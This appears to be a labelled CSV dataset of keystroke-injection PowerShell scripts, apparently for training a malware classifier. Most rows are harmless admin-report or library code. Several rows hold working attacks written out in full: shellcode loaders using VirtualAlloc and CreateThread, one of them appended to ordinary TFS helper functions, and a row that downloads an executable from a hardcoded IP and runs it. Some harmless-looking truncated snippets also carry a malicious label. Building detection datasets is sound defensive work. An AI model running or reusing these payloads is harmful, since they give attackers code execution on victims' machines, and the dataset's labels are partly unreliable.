"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_xiyu6dlb"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Status | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.json"") -Encoding UTF8 enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.457271e-05
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xb8,0x9c,0xe2,0xc7,0x73,0xda,0xd2,0xd9,0x74,0x24,0xf4,0x5b,0x33,0xc9,0xb1,0x47,0x83,0xc3,0x04,0x31,0x43,0x0f,0x03,0x43,0x93,0x00,0x32,0x8f,0x43,0x46,0xbd,0x70,0x93,0x27,0x37,0x95,0xa2,0x67,0x23,0xdd,0x94,0x57,0x27,0xb3,0x18,0x13,0x65,0x20,0xab,0x51,0xa2,0x47,0x1c,0xdf,0x94,0x66,0x9d,0x4c,0xe4,0xe9,0x1d,0x8f,0x39,0xca,0x1c,0x40,0x4c,0x0b,0x59,0xbd,0xbd,0x59,0x32,0xc9,0x10,0x4e,0x37,0x87,0xa8,0xe5,0x0b,0x09,0xa9,0x1a,0xdb,0x28,0x98,0x8c,0x50,0x73,0x3a,0x2e,0xb5,0x0f,0x73,0x28,0xda,0x2a,0xcd,0xc3,0x28,0xc0,0xcc,0x05,0x61,0x29,0x62,0x68,0x4e,0xd8,0x7a,0xac,0x68,0x03,0x09,0xc4,0x8b,0xbe,0x0a,0x13,0xf6,0x64,0x9e,0x80,0x50,0xee,0x38,0x6d,0x61,0x23,0xde,0xe6,0x6d,0x88,0x94,0xa1,0x71,0x0f,0x78,0xda,0x8d,0x84,0x7f,0x0d,0x04,0xde,0x5b,0x89,0x4d,0x84,0xc2,0x88,0x2b,0x6b,0xfa,0xcb,0x94,0xd4,0x5e,0x87,0x38,0x00,0xd3,0xca,0x54,0xe5,0xde,0xf4,0xa4,0x61,0x68,0x86,0x96,0x2e,0xc2,0x00,0x9a,0xa7,0xcc,0xd7,0xdd,0x9d,0xa9,0x48,0x20,0x1e,0xca,0x41,0xe6,0x4a,0x9a,0xf9,0xcf,0xf2,0x71,0xfa,0xf0,0x26,0xef,0xff,0x66,0x73,0xbe,0x28,0x9b,0xeb,0x3d,0xd7,0x44,0xe3,0xc8,0x31,0xda,0xab,0x9a,0xed,0x9a,0x1b,0x5b,0x5e,0x72,0x76,0x54,0x81,0x62,0x79,0xbe,0xaa,0x08,0x96,0x17,0x82,0xa4,0x0f,0x32,0x58,0x55,0xcf,0xe8,0x24,0x55,0x5b,0x1f,0xd8,0x1b,0xac,0x6a,0xca,0xcb,0x5c,0x21,0xb0,0x5d,0x62,0x9f,0xdf,0x61,0xf6,0x24,0x76,0x36,0x6e,0x27,0xaf,0x70,0x31,0xd8,0x9a,0x0b,0xf8,0x4c,0x65,0x63,0x05,0x81,0x65,0x73,0x53,0xcb,0x65,0x1b,0x03,0xaf,0x35,0x3e,0x4c,0x7a,0x2a,0x93,0xd9,0x85,0x1b,0x40,0x49,0xee,0xa1,0xbf,0xbd,0xb1,0x5a,0xea,0x3f,0x8d,0x8c,0xd2,0x35,0xff,0x0c;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.184734e-05,0.99994814
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_u0cdkddc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Select-Object -First 100 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.txt"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.427934e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_wtcqcf8z"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $PSVersionTable | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.json"") -Encoding UTF8 enter Get-LocalGroup | enter Select-Object Name, Description | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_groups.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999665,3.355299e-05
"win+r powershell enter Set-Variable -Name DefaultPrinter -Scope Global -Force cls If ((Test-Path $env: enter APPDATA""\DefaultPrinter.txt"") -eq $true) { Remove-Item -Path $env:APPDATA""\Defa enter ultPrinter.txt"" -Force } $DefaultPrinter = Get-WmiObject -Class win32_printer -C enter omputerName ""localhost"" -Filter ""Default='true'"" | Select-Object ShareName Write enter -Host ""Default Printer: "" -NoNewline If ($DefaultPrinter.ShareName -ne $null) { enter $DefaultPrinter.ShareName | Out-File -FilePath $env:APPDATA""\DefaultPrinter.txt enter "" -Force -Encoding ""ASCII"" Write-Host $DefaultPrinter.ShareName } else { enter enter",1,1,0.003886614,0.9961134
win+r powershell enter  function Test-ExpressRouteServiceProviderList { $providers = Get-AzExpressRo enter uteServiceProvider Assert-NotNull $providers Assert-AreNotEqual 0 @($providers enter ).Count Assert-NotNull $providers[0].Name Assert-NotNull $providers[0].Peering enter Locations Assert-NotNull $providers[0].BandwidthsOffered Assert-AreNotEqual 0 enter @($providers[0].PeeringLocations).Count Assert-AreNotEqual 0 @($providers[0].Ba enter ndwidthsOffered).Count enter enter,1,1,0.010144259,0.98985577
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_aqoj4qa1"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName Application -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_warnings_75.json"") -Encoding UTF8 enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 100 HotFixID, Description, InstalledBy, InstalledOn | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.40037e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_hwplzyn4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.json"") -Encoding UTF8 enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4165343e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_75l3ecec"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 100 HotFixID, Description, InstalledBy, InstalledOn | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.txt"") -Encoding UTF8 enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_module_paths.csv"") -NoTypeInformation enter",0,0,0.9999664,3.363141e-05
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install kb3033929 enter A enter enter,0,0,0.9999597,4.0350267e-05
"win+r enter powershell enter enter enter Describe ""Remove-Event"" -Tags ""CI"" { enter enter BeforeEach { enter New-Event -sourceidentifier PesterTimer -sender Windows.timer -messagedata ""PesterTestMessage"" enter } enter enter AfterEach { enter Remove-Event -sourceidentifier PesterTimer -ErrorAction SilentlyContinue enter } enter enter Context ""Check Remove-Event can validly remove events"" { enter enter It ""Should remove an event given a sourceidentifier"" { enter { Remove-Event -sourceidentifier PesterTimer } enter { Get-Event -ErrorAction SilentlyContinue | Should -Not FileMatchContent PesterTimer } enter } enter enter It ""Should remove an event given an event identifier"" { enter { $events = Get-Event -sourceidentifier PesterTimer } enter { $events = $events.EventIdentifier } enter { Remove-Event -EventIdentifier $events } enter { $events = Get-Event -ErrorAction SilentlyContinue} enter { $events.SourceIdentifier | Should -Not FileMatchContent ""PesterTimer"" } enter } enter enter It ""Should be able to remove an event given a pipe from Get-Event"" { enter { Get-Event -sourceidentifier PesterTimer | Remove-Event } enter { Get-Event -ErrorAction SilentlyContinue | Should -Not FileMatchContent ""PesterTimer"" } enter enter } enter enter It ""Should NOT remove an event given the whatif flag"" { enter { Remove-Event -sourceidentifier PesterTimer -whatif } enter { $events = Get-Event } enter { $events.SourceIdentifier | Should -FileContentMatch ""PesterTimer"" } enter } enter } enter } enter enter",0,0,0.99993837,6.158808e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_3w5620eb"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.json"") -Encoding UTF8 enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,3) } | enter Export-Csv -Path (Join-Path $ReportDir ""uptime_summary.csv"") -NoTypeInformation enter",0,0,0.9999658,3.4198885e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_91e8flsx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_module_paths.csv"") -NoTypeInformation enter Write-Host ""Starting network_checks section 2."" enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Export-Csv -Path (Join-Path $ReportDir ""network_adapter.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3727767e-05
win+r enter powershell enter enter enter function Get-PSFDynamicContentObject enter { enter enter [OutputType([PSFramework.Utility.DynamicContentObject])] enter [CmdletBinding(HelpUri = 'https://psframework.org/documentation/commands/PSFramework/Get-PSFDynamicContentObject')] enter Param ( enter [Parameter(Mandatory = $true)] enter [string[]] enter $Name enter ) enter enter begin enter { enter enter } enter process enter { enter foreach ($item in $Name) enter { enter [PSFramework.Utility.DynamicContentObject]::Get($Name) enter } enter } enter end enter { enter enter } enter } enter enter,0,0,0.99989843,0.00010160997
win+r enter powershell enter enter enter $username = 'CarbonRevokePrivileg' enter $password = 'a1b2c3d4 enter enter function Start-TestFixture enter { enter & (Join-Path -Path $PSScriptRoot -ChildPath '..\Initialize-CarbonTest.ps1' -Resolve) enter } enter enter function Start-Test enter { enter Install-User -Username $username -Password $password -Description 'Account for testing Carbon Revoke-Privileges functions.' enter enter Grant-Privilege -Identity $username -Privilege 'SeBatchLogonRight' enter Assert-True (Test-Privilege -Identity $username -Privilege 'SeBatchLogonRight') enter } enter enter function Stop-Test enter { enter Uninstall-User -Username $username enter } enter enter function Test-ShouldNotRevokePrivilegeForNonExistentUser enter { enter $error.Clear() enter Revoke-Privilege -Identity 'IDNOTEXIST' -Privilege SeBatchLogonRight -ErrorAction SilentlyContinue enter Assert-True ($error.Count -gt 0) enter Assert-True ($error[0].Exception.Message -like '*Identity * not found*') enter } enter enter function Test-ShouldNotBeCaseSensitive enter { enter Revoke-Privilege -Identity $username -Privilege SEBATCHLOGONRIGHT enter Assert-False (Test-Privilege -Identity $username -Privilege SEBATCHLOGONRIGHT) enter Assert-False (Test-Privilege -Identity $username -Privilege SeBatchLogonRight) enter } enter enter function Test-ShouldRevokeNonExistentPrivilege enter { enter $Error.Clear() enter Assert-False (Test-Privilege -Identity $username -Privilege SeServiceLogonRight) enter Revoke-Privilege -Identity $username -Privilege SeServiceLogonRight enter Assert-Equal 0 $Error.Count enter Assert-False (Test-Privilege -Identity $username -Privilege SeServiceLogonRight) enter } enter enter,0,0,0.9999156,8.440071e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_yenitbvs"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter $PSVersionTable | enter Export-Csv -Path (Join-Path $ReportDir ""environment_ps_version.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3782944e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_2sz1gaue"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_manual.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996483,3.516311e-05
"win r powershell -nop -noni -w hidden -exec bypassctrl shift enter enter alt y $url = ""insert_image_url_here"";$outputpath = ""$env:temp\img.jpg"";$wallpaperstyle = 2;iwr -uri $url -outfile $outputpath;$signature = 'using system;using system.runtime.interopservices;public class wallpaper {[dllimport(""user32.dll"", charset = charset.auto)]public static extern int systemparametersinfo(int uaction, int uparam, string lpvparam, int fuwinini);}';add-type -typedefinition $signature;$spi_setdeskwallpaper = 0x0014;$spif_updateinifile = 0x01;$spif_sendchange = 0x02;[wallpaper]::systemparametersinfo($spi_setdeskwallpaper, 0, $outputpath, $spif_updateinifile -bor $spif_sendchange);sleep 1;exit enter",1,1,0.0004020124,0.99959797
"win+r enter powershell enter enter enter function Add-ItemToTfs enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [ValidateScript({ Test-Path -Path $_ })] enter [string]$ItemPath, enter enter [Parameter()] enter [ValidateNotNullOrEmpty()] enter [ValidateScript({ Test-Path -Path $_ -PathType Leaf })] enter [string]$tfFilePath = 'C:\Program Files (x86)\Microsoft Visual Studio 12.0\Common7\IDE\TF.exe' enter enter ) enter $ErrorActionPreference = 'Stop' enter try enter { enter Write-Verbose -Message ""Adding the item [$($Itempath)] into TFS"" enter enter $null = & $tfFilePath add $Itempath enter enter if (Test-Path -Path $ItemPath -PathType Container) enter { enter enter Get-ChildItem -Path $Itempath | ForEach-Object { $null = & $tfFilePath add $_.FullName } enter } enter } enter catch enter { enter Write-Error $_.Exception.Message enter } enter } enter enter function Submit-TfsChange enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [ValidateScript({ Test-Path -Path $_ })] enter [string]$ItemPath, enter enter [Parameter()] enter [ValidateNotNullOrEmpty()] enter [string]$Comment = 'New Checkin', enter enter [Parameter()] enter [ValidateNotNullOrEmpty()] enter [ValidateScript({ Test-Path -Path $_ -PathType Leaf })] enter [string]$tfFilePath = 'C:\Program Files (x86)\Microsoft Visual Studio 12.0\Common7\IDE\TF.exe' enter ) enter try enter { enter Write-Verbose -Message ""Checking in [$($Itempath)] to TFS"" enter $null = & $tfFilePath checkin $Itempath /recursive /comment:$Comment enter } enter catch enter { enter Write-Error $_.Exception.Message enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x0b,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1631527e-05,0.9999484
"win+r powershell enter $CiAt = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $CiAt - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbd,0x74 enter ,0x13,0x16,0x35,0xdb,0xda,0xd9,0x74,0x24,0xf4,0x5a,0x29,0xc9,0xb1,0x47,0x31,0x6a enter ,0x13,0x03,0x6a,0x13,0x83,0xc2,0x70,0xf1,0xe3,0xc9,0x90,0x77,0x0b,0x32,0x60,0x18 enter ,0x85,0xd7,0x51,0x18,0xf1,0x9c,0xc1,0xa8,0x71,0xf0,0xed,0x43,0xd7,0xe1,0x66,0x21 enter ,0xf0,0x06,0xcf,0x8c,0x26,0x28,0xd0,0xbd,0x1b,0x2b,0x52,0xbc,0x4f,0x8b,0x6b,0x0f enter ,0x82,0xca,0xac,0x72 enter enter",1,1,5.421564e-05,0.99994576
"win+r powershell enter function Set-ScheduledCommand { [PoshBot.BotCommand( Aliases = ('setschedule enter ', 'set-schedule'), Permissions = 'manage-schedules' )] [cmdletbinding()] pa enter ram( [parameter(Mandatory)] $Bot, [parameter(Mandatory, Position = 0)] enter enter",1,1,0.0025441889,0.9974558
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_xq0ngccn"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4226556e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_4tr73awn"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_ip_config.txt"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.txt"") -Encoding UTF8 enter",0,0,0.9999653,3.464195e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_04weya2w"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_150.json"") -Encoding UTF8 enter",0,0,0.9999666,3.3420274e-05
"win+r enter powershell enter enter enter  enter enter [CmdletBinding()] enter Param( enter [Parameter(Mandatory=$True,Position=0)] enter [String]$LogName enter ) enter enter Get-WinEvent -LogName $LogName enter (New-Object System.Net.WebClient).DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.9055732e-05,0.999941
"win+r powershell enter [CmdletBinding(DefaultParameterSetName='Decrypt')] param ( [Parameter( Positio enter n=0, Mandatory=$true, HelpMessage='String which you want to encrypt or decrypt enter ')] [String]$Text, [Parameter( Position=1, HelpMessage='Specify which rota enter tion you want to use (Default=1..47)')] [ValidateRange(1,47)] enter enter",1,1,0.0031895195,0.9968105
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr enter lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kern enter el32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, u enter int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags enter , IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset enter (IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "" enter Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x2d,0xc8, enter 0x27,0xba,0xdb,0xd7,0xd9,0x74,0x24,0xf4,0x5f,0x33,0xc9,0xb1,0x57,0x31,0x57,0x13, enter 0x83,0xc7,0x04,0x03,0x57,0x22,0x2a,0xd2,0x46,0xd4,0x28,0x1d,0xb7,0x24,0x4d,0x97, enter 0x52,0x15,0x4d,0xc3,0x17,0x05,0x7d,0x87,0x7a,0xa9,0xf6,0xc5,0x6e,0x3a,0x7a,0xc2, enter 0x81,0x8b,0x31,0x34,0xaf,0x0c,0x69,0x04,0xae,0x8e,0x70,0x59,0x10,0xaf,0xba,0xac, enter 0x51,0xe8,0xa7,0x5d, enter enter",1,1,5.4122298e-05,0.9999459
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_viokxe1i"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Export-Csv -Path (Join-Path $ReportDir ""disk_filesystem_provider.csv"") -NoTypeInformation enter Write-Host ""Starting environment_report section 2."" enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_path_entries.csv"") -NoTypeInformation enter Write-Host ""Starting event_log_review section 3."" enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_100.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4048542e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_pg6uqljn"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.json"") -Encoding UTF8 enter",0,0,0.9999652,3.4773217e-05
